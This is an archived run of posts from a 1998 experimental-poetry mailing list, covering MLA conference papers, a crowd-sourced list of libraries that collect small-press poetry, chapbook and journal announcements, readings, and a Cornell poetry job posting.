tel. [redacted] fax: [redacted] e-mail: [redacted]
Home page: http:/www.emory.edu/INTELNET/Index.html
Russian pages and virtual library (in Russian)
http://www.russ.ru/antolog/INTELNET/rus_ukaz.html

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39. Matt Kirschenbaum
Re: MLA
Mon 2 Nov 1998

I'll be giving a paper on David Blair's WAX, or the Discovery of Television Among the Bees (session 474). WAX, for those not in the know, is a hypermedia environment (and before that, an electronic film). To the best of my knowledge, it is the largest single creative hypermedia environment extant today (over 2000 nodes and 25,000 links), as well as one of the oldest (its earliest incarnations pre-date the Web) and wonderfully thick and layered (text, images, sound, video, 3-D models, MOO-spaces, and soon, real audio/video streams, all stacked atop one another); see <http://www.iath.virginia.edu/wax>.

I'll also be chairing a panel (529) on strategies for supporting new media teaching and research in traditional humanities settings. Speakers are Randy Bass, Neil Fraistat, David Gants, Diane Kresja, and Joe Tabbi.

Matt

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40. charles alexander
Re: special collections--contemporary experimental
Mon 2 Nov 1998

I second that.

Miekal, there is one list at the back of Joan Lyons's ARTIST'S BOOKS: A SOURCEBOOK AND ANTHOLOGY, which has something of a crossover potential for both experimental 'language' books and more specifically "artist's books" -- but that list is pretty out of date. It has been a beginning to many, though. I have a list of libraries more interested in rather deluxe letterpress 'fine press' books, which has never been ideal for Chax, but it has helped. After

tomorrow, I leave for a week, and I can't get it together to post a list to poetics tomorrow, but I'll be glad to do so later in November, if others will do the same. It would actually be good to develop a list of special collections, book dealers and bookstores interested in such works, and perhaps private collectors -- if it's known that the collector wouldn't mind being on such a distributed list -- some would mind. I think the library collections have decreased in the last twenty years to some extent, due to library budget cuts and probably for other reasons as well.

thanks for suggesting this, miekal --

charles (who always remembers fondly living about a block from miekal)

At 09:49 PM 11/2/98 +0000, you wrote:
>DOES anyone happen to know if there is a list compiled of special
>collections that are actively collecting experimental small press,
>complete with contact information? If none exist would be a great
>service for this list to compile such a document
>
>Miekal
>
>
chax press : alexander writing/design/publishing
[redacted]
http://alexwritdespub.com/chax
[redacted] (phone) [redacted] (fax)

↑ Index

41. Kathy Lou Schultz
Re: MLA
Tue 3 Nov 1998

See! I knew ya'll were up the something. Thanks to everyone for posting their MLA doings-to-come. (And please chime in if you haven't already. . .) Kathy Lou

David Kellogg wrote:
>
> I'll be doing a paper on Bunting on the last morning of MLA. Panel on
> "the British pocket epic."
>
> Cheers,
> David
>
~~~
~~~

> David Kellogg Duke University
> [redacted] Program in Writing and Rhetoric
> [redacted] Durham, NC 27708
> FAX [redacted] http://www.duke.edu/~kellogg/

↑ Index

42. Kathy Lou Schultz

lip(s)tick

Tue 3 Nov 1998

Another case of lipstick--Lipstick Eleven No. 1 that is--is on its way tomorrow. So to all you lovely loves who have ordered, love is on the way back at ya! And if you like our little home for experimental writing (and of course we hope you do) send submissions for No. 2 by January 15, 1999--it's sooner, or eh, later, than you think.

Thanks,
Kathy Lou Schultz
Lipstick Eleven
42 Clayton Street
San Francisco, CA 94117-1110

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43. shana

MaLAdy

Tue 3 Nov 1998

So, I'll be chairing a panel on the significance of the "1-2-3-4-5" song and cartoon often featured on Sesame Street, as well as a thesis titled, "kent johnson makes a great potted plant." It will be brought to you by the letter S and the number 7. Seriously, did anyone read the Atlantic Monthly? If so, did he/she/they (note, there are pronoun options here) notice that both the plumly and rabinowitz poems in there used the words "crystal" and "facet" in two consecutive lines? I thought that was weird. Or maybe it's just a facet of my OCD. I'm going to go wash my hands now.

shana

"How pure we were then, before Rimbaud, before Blake.
Grace. Love.Take care of us. Please."--C.K.Williams

↑ Index

44. Tom Orange
silliman's wild form
Tue 3 Nov 1998

On Mon, 2 Nov 1998, Henry Gould writes:

"Friedlander's essay is a sort of mini-canonization exercise: elaborating on how Silliman's essay succeeds simply by _expressing_ the oscillation or dialectic between aesthetic liberation on one hand & the problem of political liberation on the other... in my view he is able to do this because there is a para-poetics at work in all poetry - call it a set of unspoken allegiances or values - in this case leftist-materialist - shared both by the academic world & the poetry it canonizes."

as i read him, friedlander is torn as to whether or not silliman's essay succeeds. the see-saw gives ben a very appropriate structural model for exposing the argumentative underpinnings of silliman's text, from the micro-level of the sentence to the macro-level of gestures characteristic of silliman's overall poetics, namely the setting up of opposing concepts or stances that refuse stabilization and instead invite a paratactic stacking of additional stances that are ultimately (dare i say?) torqued into incommensurability. the result is confusion rather than intelligible argumentation. ben's bottom line on "wild form" -- that "the effort involved is remarkable, and retains intellectual force on a global scale despite the local failure of this or that attempt at transformation" -- hardly renders the essay an unqualified success. (what he says of /tjanting/, namely that "the architectural plan remains sound even if the building erected on that plan's basis fails to meet code," is, i think equally applicable to "wild form.")

now if by mini-canonization you mean taking what might otherwise be considered a "minor text" -- "wild form" is only four or so pages long -- and reading it as symptomatic of a larger "para-poetics" as you say, i agree -- this is the analyzing every move in an ideological frame you speak of. (one of the comments from the audience at last year's louisville conference where ben gave an earlier version of this essay was that "wild form" wasn't worth the time and effort!)

but i don't think ben's line of critique here is "in allegiance with" any leftist-materialist values specific to silliman -- or "the academic world," if one could be so specific there. if anything it's posing a challenge to what might be thought of as classic poststructuralist argumentations and politics of poetic form...

t.

[redacted]

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45. miekal and
Re: special collections--contemporary experimental
Tue 3 Nov 1998

Loss

the citation you enclose is a good lead for sniffing out possibilities but I think Im more interested in hearing from publishers out there who have first hand contact with such archives & collections.

maria & I did a little brainstorming a few weeks ago & came up with a list of "suspects", tho this list is very incomplete & has yet to be confirmed & contact information has yet to be assembled (perhaps the book Loss mentions will make this job easy).

I enclose our list as a basis for beginning a compilation.

SUNY-Purchase
University of New Mexico-Albuquerque
Bard College
Goddard
Stanford
SUNY-Albany
San Francisco St
Naropa
University of Texas-Austin
University of Maine-Orono
University of Pennsylvannia-Philadelphia
Lamont Library-Harvard
Columbia
New School
Bienecke Library-Yale
University of Iowa-Iowa City
University of Tulsa
University of Alberta
Simon Fraser University
UCLA
UC-Santa Cruz
San Francisco Public Library Little Magazine Collection

the following pretty much collect all of Xexoxial's output:

University College-London UK
MOMA
SUNY-Buffalo

University of Wisconsin-Madison
UC-San Diego

also there would seem to be a whole sector of special collections that interface visual-verbal, sound poetry, performance poetry with the visual arts such as the Getty. others?

miekal

↑ Index

46. Charles Alexander

Re: After they've seen the Pah'ree Commune (iteee)

Tue 3 Nov 1998

I think I missed part of this conversation, having poetics mail stopped while I was out of town. But my sense of the original concern here is that it was not about the absence of recognizable groups of younger poets, rather the absence of a sense of a poetic or something else that distinguished them as groups sharing certain ideas about poetry, culture, etc.

Now I'm absolutely NOT saying there is such an absence, but I am saying that, rather than simply avowing the presence of "recognizable groups of younger poets" in New Orleans, Buffalo, LA, New York, or anywhere, I'd rather read about what distinguishes these groups -- what makes each of them a group, how do they perceive themselves as significantly different from other groups, what constitutes their range of concerns as a group, etc.

charles

At 09:48 AM 11/12/98 -0500, you wrote:
>I would add New Orleans, too.
>
>Melanie Bookout
>
>
>At 06:44 PM 11/11/98 -0800, you wrote:
>>Who says there are no recognizable groups of younger poets in the U.S.?
>>San Francisco is a hotbed of activity of "younger" poets (are we talking
>>under 45 here?). Also, what about NYC? Buffalo? LA? and anyone else I've
>>forgotten to mention.
>>Many magazines and presses in SF are generating a lot of interest and
>>energy, e.g. Double Lucy/Outlet, Tripwire, Idiom, my own Lipstick
>>Eleven, etc. and etc. "Group," I recognize thee!
>>Kathy Lou
>>

>>
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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47. Julie Marie Schmid
Re: MLA
Tue 3 Nov 1998

Hi all:

Another "non-poetic" paper presentation:

I'll be giving a paper on unionizing the academic workplace on a panel called "Is Our Labor Academic?" The panel is has been organized by the Graduate Student Caucus of the MLA and other panelists are Cary Nelson, Kirsten Christensen, and Ian Marshall. The panel will be chaired by Mark Kelley.

Hope to see some of you there.

Julie Schmid
Department of English
University of Iowa

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48. groberts
Re: MLA
Tue 3 Nov 1998

I am giving a paper in the three panel series on "Poetic Language" sponsored by the Division for Linguistic Approaches to Literature. My paper on the word "now" in Paradise Lost and the Prelude is scheduled for Tuesday, 12/29, 7-9 pm, session 701.

Perhaps panelists might consider this list as a place to work out kinks in their presentations? I am already reading Oppen's collected, and Duncan's Bending the Bow with the panel-topics in mind.

Gary R.

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49. W. Freind
Re: MLA
Tue 3 Nov 1998

I'm giving two: one on Yasusada, and one on Bataille.

Bill Freind

On Mon, 2 Nov 1998, Kathy Lou Schultz wrote:

> *See! I knew ya'll were up the something. Thanks to everyone for posting their MLA doings-to-come. (And please chime in if you haven't already. . .)*
> *Kathy Lou*
>
> *David Kellogg wrote:*
>
> *I'll be doing a paper on Bunting on the last morning of MLA. Panel on "the British pocket epic."*
>
> *Cheers,*
> *David*
> *~~~

public,
and special libraries and museums in the United States and
Canada / compiled by Lee Ash and William G. Miller, with
the
collaboration of Barry Scott, Kathleen Vickery, and
Beverley
McDonough.

AUTHOR: Ash, Lee.

EDITION: 7th ed., rev. and enl.

PUBLISHED: New Providence, N.J. : R.R. Bowker, c1993.

At 09:49 PM 11/2/98 +0000, you wrote:
>DOES anyone happen to know if there is a list compiled of special
>collections that are actively collecting experimental small press,
>complete with contact information? If none exist would be a great
>service for this list to compile such a document
>
>Miekal
>

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51. **Dale Smith**

Re: MLA

Tue 3 Nov 1998

Hi Y'all! I'm giving a paper on the word "engine" in Sade's major works (rev it up, Big Boy). And I'm going to prove how the disassociation of the sign from the signified has really made us into wretched little brownie nose beings. Then I will prove, conclusively, that Henry Gould is the only living poet with peeves in his pocket, and then maybe Ron Silliman will return from World Tour and answer the simple question: does personality affect the line within given geographical regions?

> *I am giving a paper in the three panel series on "Poetic Language" sponsored by the Division for Linguistic Approaches to Literature. My paper on the word "now" in Paradise Lost and the Prelude is scheduled for Tuesday, 12/29, 7-9 pm, session 701.*
>
> *Perhaps panelists might consider this list as a place to work out kinks in their presentations? I am already reading Oppen's collected, and Duncan's Bending the Bow with the panel-topics in mind.*

> *Gary R.*

Get Your Private, Free Email at http://www.hotmail.com

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52. Mairead Byrne

Re: MLA

Tue 3 Nov 1998

I'm giving a paper on the word "of" in "Leaves of Grass." I'm also hoping to get a grant, or at least a subsidy from my university, to buy up all the publications offered on this list and display them in a little wooden case in that room beside the bar, you know the one, Russell Edson is working on my preliminary designs in bog oak or so he assures me at any rate. Another project is to videotape ALL the EXPERIMENTAL readings taking place nationwide all in one frantic week. PLEASE everyone: info on cheap airline tickets/organizations sympathetic to this type of venture would be most welcome. And by the way, my dissertation (Consumerism and American Poetics: the Field Is Ripe for the Dollar Crop) is available at my website: http://www.$.prairie.beads/html

On Tue, 3 Nov 1998, Dale Smith wrote:

> *Hi Y'all! I'm giving a paper on the word "engine" in Sade's major works (rev it up, Big Boy). And I'm going to prove how the disassociation of the sign from the signified has really made us into wretched little brownie nose beings. Then I will prove, conclusively, that Henry Gould is the only living poet with peeves in his pocket, and then maybe Ron Silliman will return from World Tour and answer the simple question: does personality affect the line within given geographical regions?*
>
> *I am giving a paper in the three panel series on "Poetic Language" sponsored by the Division for Linguistic Approaches to Literature. My paper on the word "now" in Paradise Lost and the Prelude is scheduled for Tuesday, 12/29, 7-9 pm, session 701.*
>
> *Perhaps panelists might consider this list as a place to work out kinks in their presentations? I am already reading Oppen's collected, and Duncan's Bending the Bow with the panel-topics in mind.*
>
> *Gary R.*

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

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53. Hilton Manfred Obenzinger
Re: MLA
Tue 3 Nov 1998

Of Engine Now

Why do they mock the word?
Why does the word mock them?
May Satan suck their engines
With intimations of their turds.

Milton Wordsworth Obenzinger

On Tue, 3 Nov 1998, Mairead Byrne wrote:

> *I'm giving a paper on the word "of" in "Leaves of Grass." I'm also hoping to get a grant, or at least a subsidy from my university, to buy up all the publications offered on this list and display them in a little wooden case in that room beside the bar, you know the one, Russell Edson is working on my preliminary designs in bog oak or so he assures me at any rate. Another project is to videotape ALL the EXPERIMENTAL readings taking place nationwide all in one frantic week. PLEASE everyone: info on cheap airline tickets/organizations sympathetic to this type of venture would be most welcome. And by the way, my dissertation (Consumerism and American Poetics: the Field Is Ripe for the Dollar Crop) is available at my website: http://www.$.prairie.beads/html*
>
> *On Tue, 3 Nov 1998, Dale Smith wrote:*
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> *Perhaps panelists might consider this list as a place to work out kinks in their presentations? I am already reading Oppen's collected, and Duncan's Bending the Bow with the panel-topics in mind.*
>
> *Gary R.*
>
> ---
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

54. **Susan Wheeler**

Re: special collections--contemporary experimental

Tue 3 Nov 1998

To add -- Fales Library at NYU has begun to collect/archive a lot of what used to be called "ephemerals" as well as small-press work under the excuse of a "downtown" writers' archive.

>I enclose our list as a basis for beginning a compilation.
>
>SUNY-Purchase
>University of New Mexico-Albuquerque
>Bard College
>Goddard
>Stanford
>SUNY-Albany
>San Francisco St
>Naropa
>University of Texas-Austin
>University of Maine-Orono
>University of Pennsylvannia-Philadelphia
>Lamont Library-Harvard
>Columbia
>New School
>Bienecke Library-Yale
>University of Iowa-Iowa City
>University of Tulsa
>University of Alberta
>Simon Fraser University
>UCLA

>UC-Santa Cruz
>San Francisco Public Library Little Magazine Collection
>
>the following pretty much collect all of Xexoxial's output:
>
>University College-London UK
>MOMA
>SUNY-Buffalo
>University of Wisconsin-Madison
>UC-San Diego
>
>also there would seem to be a whole sector of special collections that
>interface visual-verbal, sound poetry, performance poetry with the
>visual arts such as the Getty. others?
>
>miekal
>
>
Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

55. Michael Kelleher

Re: special collections--contemporary experimental

Tue 3 Nov 1998

Miekal, et al

I worked for a year at the Segue foundation in New York collecting materials for their experimental poetry collection. It focused mainly on stuff written in the last twenty years. Small, existing in the basement offices of Roof books, but conatins a few gems like Greniers sentences, etc. The new curator is Max Winter and the phone number at Segue (you need an appointment to view the collection) is [redacted].

Mike

↑ Index

56. Pete Neufeld
melodeon poetry systems-- chapbook announcement
Tue 3 Nov 1998

We're doing a series of 8 chapbooks by young, Bay Area poets working in and out of the multiple traditions of experimental writing, the first two of which are currently available-- Sarah Rosenthal's _not-chicago_ and Travis Ortiz' _geography of parts_ -- the next two installments in the series will be Tricia Roush's _Books of Danger_ and Jono Schneider's _Walking & Talking_ available, well, sometime after Dec. 1 and before the end of the year. Each book sells for $6.00 plus $1.50 postage, but, in the spirit of free trade, we'll pay postage on listserv orders and those of you with the vision to purchase all four, well, we'll cut four bucks for the total sale price of $20.00.

Also-- the next issue (#3) of _melodeon_ is due in December's window with, among others-- Tricia Roush, Cole Swenson, Kit Robinson, trans. by Andrew Joron and Chris Daniels, Edmund Berrigan, Emily Grossman, Stephen Ratcliffe, E. Tracy Grinnel-- and some people I'm sure I'm leaving out. This issue goes for $3 and listys get postage on the house-- issue #2 is also still available.

melodeon poetry systems
c/o Pete Neufeld
3573 19th Street
San Francisco, CA 94110

pls make checks payable to me, not the name of the press. Thanks.

↑ Index

57. Gabriel Gudding
MLA, Cornell Hire in Poetry
Tue 3 Nov 1998

---

1. This is a terribly indiscreet post but what the heck right.

2. In case any of you are interested in a job teaching the creative writing aspects of poetry here at Cornell, you should know:

3. That Cornell is hiring. They've got a new line for a poet hire.

4. This is a major big deal for the department. It's happening fast; so fast the department's not had sufficient time to properly advertise.

5. So, since advertising has been in the air this past week on the list, I thought you should all know HERE'S A JOB.

6. The only catch is your resume and papers (manuscripts and whathaveyou) must be postmarked by THIS FRIDAY (though it's probably ok to be a few days late).
7. And do me a favor: DON'T TELL THEM I SENT YOU.
8. Good luck.

Gabe

On Tue, 3 Nov 1998, Hilton Manfred Obenzinger wrote:

> *Of Engine Now*
>
> *Why do they mock the word?*
> *Why does the word mock them?*
> *May Satan suck their engines*
> *With intimations of their turds.*
>
> *Milton Wordsworth Obenzinger*
>
> *On Tue, 3 Nov 1998, Mairead Byrne wrote:*
>
> *I'm giving a paper on the word "of" in "Leaves of Grass." I'm also hoping to get a grant, or at least a subsidy from my university, to buy up all the publications offered on this list and display them in a little wooden case in that room beside the bar, you know the one, Russell Edson is working on my preliminary designs in bog oak or so he assures me at any rate. Another project is to videotape ALL the EXPERIMENTAL readings taking place nationwide all in one frantic week. PLEASE everyone: info on cheap airline tickets/organizations sympathetic to this type of venture would be most welcome. And by the way, my dissertation (Consumerism and American Poetics: the Field Is Ripe for the Dollar Crop) is available at my website: http://www.$.prairie.beads/html*
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> *paper on the word "now" in Paradise Lost and the Prelude is scheduled for Tuesday, 12/29, 7-9 pm, session 701.*
>
> *Perhaps panelists might consider this list as a place to work out kinks in their presentations? I am already reading Oppen's collected, and Duncan's Bending the Bow with the panel-topics in mind.*
>
> *Gary R.*
>
> ---
>
> *Get Your Private, Free Email at http://www.hotmail.com*

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58. **John Latta**

Re: MLA, Cornell Hire in Poetry

Tue 3 Nov 1998

Here's the MLA posting:

Assistant Professor--Creative Writing (Poetry)
The Department of English seeks a poet with a distinguished publication record and a history of excellence in teaching.
The appointment begins in August 1999. The successful candidate will teach creative writing at the undergraduate level
and in our M.F.A. program, supervise M.F.A. dissertations, and might also teach courses in literature and expository
writing. Please send a letter of application, c.v., dossier, and a writing sample to Jonathan Culler, Chair, 256 Goldwin
Smith Hall, Ithaca, NY, 14853-3201. Application should be postmarked by November 9th. Cornell University is an
Equal Opportunity Employer. Women and people of color are encouraged to apply.

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59. **Pete Neufeld**

Reading this Thursday

Tue 3 Nov 1998

I'd like to announce that Eric Frost and Tricia Roush will be reading at New College's Cultural Center (between 18th and 19th on Valencia directly across

the street from the theater space) on Thursday at 7:30 p.m. (unlike the MLA--free). I encourage those in the area to attend-- Pete

↑ Index

60. Chicago Review

Forthcoming Chicago Review

Tue 3 Nov 1998

A double issue of Chicago Review will go on sale in a few weeks. You may reserve your copy now by mailing $8, payable to Chicago Review, to the address at the bottom of your screen. Subscriptions are $18 per volume.

Volume 44, Numbers 3 & 4
Contents:

--Special section on the poetry of Peter Dale Scott, author of Coming to Jakarta and Listening to the Candle, and noted critic of US foreign policy. Section includes three new cantos from "Minding the Darkness," the third volume in Scott's epic trilogy. Essayists include Alan Williamson and David Gewanter.

--Special section on the life of Basil Bunting. Contributors are Tom Pickard, "The Lives of Basil Bunting"; Colin Simms, "The Bunting Tapes"; Bill Griffiths, "Basil Bunting and Eric Mottram"; and John Seed, "An English Objectivist?" Includes SUNYAB archival photos of BB from the 1970s and 1980s.

--Poetry
Hank Lazer
Tomaz Salamun
Matthew Rohrer
Greg Miller
Ciaran Carson
Eleanor Wilner
Cole Swenson
Connie Deanovich
Mark Salerno
John Morris

--Essays
Matthew Rohrer on Tomaz Salamun
Michael Heller on William Bronk
William Olsen on Frank Bidart
Harriet Zinnes on Yayoi Kusama

Plus fiction, reviews, and notes & comments.

Chicago Review is an international journal of writing and critical exchange, published quarterly by the University of Chicago.

Andrew Rathmann,
Editor

Chicago Review
5801 S. Kenwood Ave.
Chicago IL 60637-1794
ph/fax [redacted]
[redacted]

↑ Index

61. Aldon Nielsen
Joe Ross Reading in L.A.
Tue 3 Nov 1998

Next reading at Loyola Marymount University is:

Joe Ross
Tuesday Nov. 10
7:30 PM
Hilton 300 A & B
7900 Loyola Blvd. (near LAX)

don't miss it!

↑ Index

62. Aldon Nielsen
Re: MLA, Cornell Hire in Poetry, etc.
Tue 3 Nov 1998

> *Assistant Professor--Creative Writing (Poetry)*
> *The Department of English seeks a poet with a distinguished publication record and a history of excellence in teaching.*

now this is interesting -- an "entry-level" position that obviously requires one who has "already" entered -- of course, with the ever-accelerating abuse of "part-time" employment in academia, there are no doubt hundreds of people who will qualify under this description -- but something tells me Cornell's idea of a "distinguished publication record" isn't mine -- for that matter, i suspect that their idea of "a history of excellence in teaching" isn't mine either

anyway,

I, too, will speak at MLA --
session # 640 -- Tuesday 11/29

Ann duCille, Manthia Diawara and I will discuss, it says here, "Redrawing the Boundaries of Black Literature and Culture"

if you feel redrawn, come on by

↑ Index

63. Edward Foster
Poetry in Translation
Tue 3 Nov 1998

The translation conference at Stevens November 13-15 will mostly concern poetry. I'll send details in a couple of days. Wonderful poets, wonderful poetry -- Chinese, French, Russian, Greek, etc., etc., etc.

↑ Index

64. Dorothy Trujillo
B.Gyson
Tue 3 Nov 1998

---

re: Gyson interest on Buffalo Poetics list.

The Brion Gyson show will not, unfortunately be coming to Vancouver. The only other galleries that are definately (AT THIS TIME) having the show are in Winnipeg and Saskatoon. Bruce Grenville, the curator, says there are hopes of having it travel to Montreal, Mexico and perhaps 'Europe' but nothing is firm yet. The book is expected in January, however. The reasons for it not coming to Vancouver are spatial/temporal as there is a lot of interest in it here. The exhibition space requirements are 6000 square feet and the exhibition schedules of galleries able to accommodate this are full during the time frame needed.RATS. Bruce Grenville is a curator at the Vancouver Art Gallery and I thought we would be able to have the show but them's the snags.

All Best,
Dorothy Trujillo Lusk

↑ Index

65. Dorothy Trujillo
gysin tour
Tue 3 Nov 1998

Pardon my spelling idiocy in previous posting. I was having trouble enough with Winnipeg, neglecting Gysin. Anyway. Just as I was mucking THAT up, the curator emailed me exhibition dates, to date, as follows:

Gysin Tour

Mendel Art Gallery, Saskatoon
May 7 - July 4th 1999

Winnipeg Art Gallery
Jan - March 2000

Museo Carillo Gil, Mexico City
unconfirmed

The Edmonton Art Gallery is co-ordinating the tour. Catherine Crowston is the senior curator.

All Best,
Dorothy Trujillo Lusk

↑ Index

66. Charles Alexander
Re: Ghosts at a party
Tue 3 Nov 1998

Kent, you are hereby invited to Chax Press this Saturday to celebrate the publication of a new book by Lisa Cooper. Chax Press is at 101 W. Sixth St, in Tucson. You may wear formal or informal attire, prepare baked goods or come as Laura Riding, Louis Zukofsky, or John Wilmot, Earl of Rochester -- preferably all three. You may of course always come as yourself, or have someone else come and claim to be Kent Johnson. If you get this far, or if you want to postpone your trip for a few days, you are invited to my house for thanksgiving dinner. Call Chax Press at [redacted] for directions.

Happy Surprise 40th to your wife! I hope everyone within 100 miles of you who is on this list shows up.

and, for some insights on language and the real, based in part on 20th Century linguistics, and on the notion of what constitutes a "performative" utterance (at least I think that a bit of language that accomplishes or performs something might be considered 'real' in one sense or another), there is a fascinating essay in the great first issue of SHARK. Sorry I don't have the details of authorship or

contact with the magazine and its editors (Lytle Shaw & Emily Clark), but I left that issue at home today.

charles

>If I could say just a couple of things before running back home to
>clean the house for my wife's 40th birtday surprise party tomorrow,
>to which EVERYONE on this List is invited (you have my address from a
>post of the other day) even though no one on this List invites ME
>anywhere:
>
>1) I have to correct Joe's statement that I "explained" where
>Spicer's "ghostliness" came from. I have no idea, really, where the
>ghosts _truly_ come from or what is theeir nature, and if I did it
>would take all the fun out of things.
>
>2) I actually thought that my comment about rocks and language was
>the most interesting thing I said in the Spicer exchange, whetehr or
>not that means the comment was interesting in itself: The idea, that
>is, that just because rocks have been around longer than language
>doesn't make the latter any less real than the former. Each has
>_entered_ the real and taken its place within it. So has air
>and light (maybe these "real" substances bear a closer "resemblance"
>to language than rocks). In other words, there is no basis, so far as
>I can see, for regarding lnaguage as something "inside" and rocks and
>light and air as the Other that is "outside" and more actual and
>Real. The substance of rocks and light and air, stars and so on,
>inhabits us and makes us what we are and language swirls around
>inside all that stuff which is inside and outside us. Which means, to
>me, as I said before, that there is an Outside but that there is no
>outside of Outside, which is perhaps a terryfying thought if it is
>so. This woudl be what makes the ghosts very real, thoough as I said,
>where they come from and what they truly are is another question.
>
>And If you're coming to the party, be there no later than 8:15! There
>will be a stage for Blabbering.
>
>Kent
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing

books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

67. David Baratier
Re: special collections--contemporary experimental
Tue 3 Nov 1998

Miekal, Charles

Another good thing to do would be to round up our funds for Baker & Taylor with a few others so that anyone who asks for an author in a public library would have all the titles show up. Rather than someone assuming it doesn't exist or going to the Bowker books to find it then showing to the librarian.

Be well

David Baratier

↑ Index

68. David Baratier
books
Tue 3 Nov 1998

Anyone-- I have a lit journal I'm producing which I need perfect bound for cheap. 500 copies, 6 by 9 looks like it will measure to 72 pages. 50lb inside, 80 cover. Flat cover is fine, single (paper) color. Any suggestions which will get me around a dollar a copy? Be well

David Baratier

↑ Index

69. Erik Sweet
Tool A Magazine.../John Wieners ???
Tue 3 Nov 1998

Hello all:

Just like to announce a party on December 4th at Segue in NYC celebrating the second issue of "Tool a Magazine"

the # 2 issue will feature great poems from a variety of poets including Clark Coolidge, Alice Notley, Brian Lucas, Eleni Sikelianos, Brenda Coultas, Todd Moore, Paul Metcalf, Kenneth Koch, plus more more....the party..is on a Friday night around 7PM

The # 2 issue will be out on this date.

The party so far will feature readings by Brian Lucas, Sean Killian, Jorge Clar
plus a few more so plan ahead!

On the topic of John Wieners..just reading "Cultural Affairs in Boston" and wondering if Wieners has given any readings lately...

Erik Sweet

↑ Index

70. Tom Orange
special collections--contemporary experiemental
Wed 4 Nov 1998

---

should put in a good word for the poetry holdings at kent state university. not much, to my knowledge, in the way of bookworks or multimedia, but very solid in small press poetry from the past 30 or so years. was there a few afternoons ago drooling, so to speak, over early coolidge stuff, signed copy of "oflengths" from a '73 tottel's, signed copy of the '67 eponymous chap, etc...

t.
[redacted]

↑ Index

71. George Bowering
Re: papers etc
Wed 4 Nov 1998

Jee, all this news about papers. I gave two papers in Indianapolis last week, one on Ondaatje's fiction and one on Blaser's poetry. This was for the midwest group of USAmericans who study CanLit. Indianapolis on Friday night in the dead middle of town, is deserted. Most of downtown is parking structures. There are still Vonneguts in the phone book, though.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

72. miekal and
Re: RongRong the Archive
Wed 4 Nov 1998

this is what I love about this list. nothing is so simple as to say "Id like to compile a list of archives" but we also have to examine the gutstrings of what makes such assumptions tick.

as one who has spent a lot of time in the dusty archives, as well as exhibitions of such archives, I know that I would never have seen such gems as kruchenykh's 4 color chapbooks printed on butcher paper using gelatine lithography (hectography?) if it wasnt for this borgesian obsession of collecting the gems of babel. archives have their place in a larger context of media & event & in my mind are becoming inseparable from the archival & digestive nature of the internet.

joel is right in assuming that Im interested in finding new contacts for sales, for distribution, but this is within the guild of publishing, & Xexoxial has exisited on sales only for probably 10 years, surviving in the same way that Meow speaks of, printing in small editions on demand, but keeping titles in print. in this way weve been able to promote a couple hundred publications, tapes, & other media. the notion that the library & the archives is the final resting place, or even the motive of publishing is a bankrupt one; there is no replacing the process & society of the text with something so quantifiable.

also I wonder about the intimation Joel makes that the list isnt the place for the circulation of such information as collecting contact info for archives, when it seems to me to be part & parcel of the larger do it ourself complex that I assume we are participating in.

regardless, keep the back channels coming, Im keeping track of it all, & maybe something usable will come out of it.

miekal

↑ Index

73. miekal and
mesostic / 13 ply
Wed 4 Nov 1998

mesostic for dick higgins

closeD
exceptIon
cirCuit
Keep

cHimes
wIring
beGin
Good
radIos
situatioN
burleSque

---

words extracted from "foew&ombwhnw" by dick higgins

↑ Index

74. J. Kuszai
archive this
Wed 4 Nov 1998

Joseph makes a good point about the desire to be swept under the archival carpet, where everything is far in the past. Seems an odd community to aspire to, even with the dead droppings giving us permissions. Get what you play for. "If he could have only known the committee was going to vote him into the hall of fame, maybe he would have held on a little longer." Watching his induction ceremony from above, takes a deep breath, sighs relief. The celestial madhouse that ranks poetry above food or drink steers poets to this dreadful end. That ranks hanging out with other poets above all other earthly criteria, even when it means putting up with the morania and overt hostility generated by some of our most obsessively respondant participants.

On the other side of things, I often think about Archive mailing lists as sales-organs, and I have a "special collections" list that could be exported to a variety of field-delimited formats. I agree with Charles that this should not be broadcast here. I was told that my list, which was given to me several years ago was of "buying libraries." And it is between 50-60 names/addresses in N.A. (US and Canada). I would like to see an international list. And I know mine is not perfect. I have some updates. Only one library responded to my 50 first mp books (and 20 ephemera) subscription/ad (something no longer in effect) Still, I think that was a good deal for them and am surprised that more libraries didn't respond. I hope the awareness such a mailing brings will lead to increased sales at SPD, but I have no way of knowing as I don't know how many library orders they receive for Meow Press. I have sent out free samples, often as gifts to the library workers, and this is sucessful in the sense of immediate impact and good vibes, but not in terms of long term sales (it is also a difficult thing to sustain in an operation/budget like mine). As I have reverted to a print as needed production system, I generally have less copies to circulate for free as I used to. And

frankly, this has been the basis of the success of my project: the ability to give away 100 or so copies of a chapbook over the course of a year or so, and really only a small percentage of people are willing to spend money on chapbooks--this economy existing very much on exchange and gratis, so much that even asking for help has become hucksterism.

Indeed, my sense was that Miekal wants to sell some books, or maybe that's just how I read it. It is not easy to find people willing to buy this product that is as far from "profitable" as you can get in this kind of economic system. The amount of money "coming in" to MP doesn't cover my expenses in terms of material, which is good, because the purpose of my press has been to minimize the costs--and I'd be obliged to generate lots of excess cultural-product if I had a million dollars and a silicon-graphics workstation. It doesn't even cover mail costs, nevermind compensate for the hours it takes to assemble, etc., the books. But I'm not simply making these books to generate cultural capital. Or to hoist up some spectacle of pure-poetry for people to snicker at. But that doesn't mean that the economics of this are by any means more important.

I'd be happy to trade lists with people if we could come up with some terms/mechanism for the exchange. BTW- I've had much more luck dealing with individuals both over the email channels and also from mass mailings. Not many people stumble over the website, and I don't know how to market actively on the web. Direct mailings to a pretty focused group of people has had good results and is worth doing annually, though it is much work and the intial "stamp" investment is a real shock.

Also- I'd be happy to take this discussion to a backchannel cc list if it meant no more interruption by the meanies. Steve Dickison had circulated a list of publishers I'd like to actively involve in a publisher's roundtable. In fact, it might be worth reaching out to Steve D., who is a major resource we are about to lose ... any thoughts--

↑ Index

75. BETSY ANDREWS

It's the same story since the beginning of creation...

Wed 4 Nov 1998

